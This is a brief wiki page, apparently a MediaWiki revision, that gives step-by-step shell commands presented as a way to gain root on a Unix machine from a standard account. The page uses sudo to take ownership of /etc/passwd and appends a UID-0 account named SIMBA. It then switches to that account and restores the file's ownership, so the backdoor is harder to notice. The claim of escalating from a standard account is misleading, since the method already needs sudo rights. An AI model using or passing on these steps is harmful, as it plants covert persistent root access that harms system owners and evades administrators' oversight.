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(Created page with "1 Get root access on unix machine with standard account : <syntaxhighlight lang="linux"> sudo chown ACCOUNT:ACCOUNT /etc/passwd vi /etc/passwd </syntaxhighlight> 2 Add following line at the end of the file: <syntaxhighlight lang="linux"> SIMBA:x:0:0:root:/root:/bin/bash </syntaxhighlight> 3 Save, try it out and set back rights as before <syntaxhighlight lang="linux"> sudo su - SIMBA sudo chown root:root /etc/passwd </syntaxhighlight>") |
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Latest revision as of 18:35, 30 May 2022
1 Get root access on unix machine with standard account ACCOUNT :
sudo chown ACCOUNT:ACCOUNT /etc/passwd
vi /etc/passwd2 Add following line at the end of the file:
SIMBA:x:0:0:root:/root:/bin/bash3 Save, try it out and set back rights as before
sudo su - SIMBA
sudo chown root:root /etc/passwd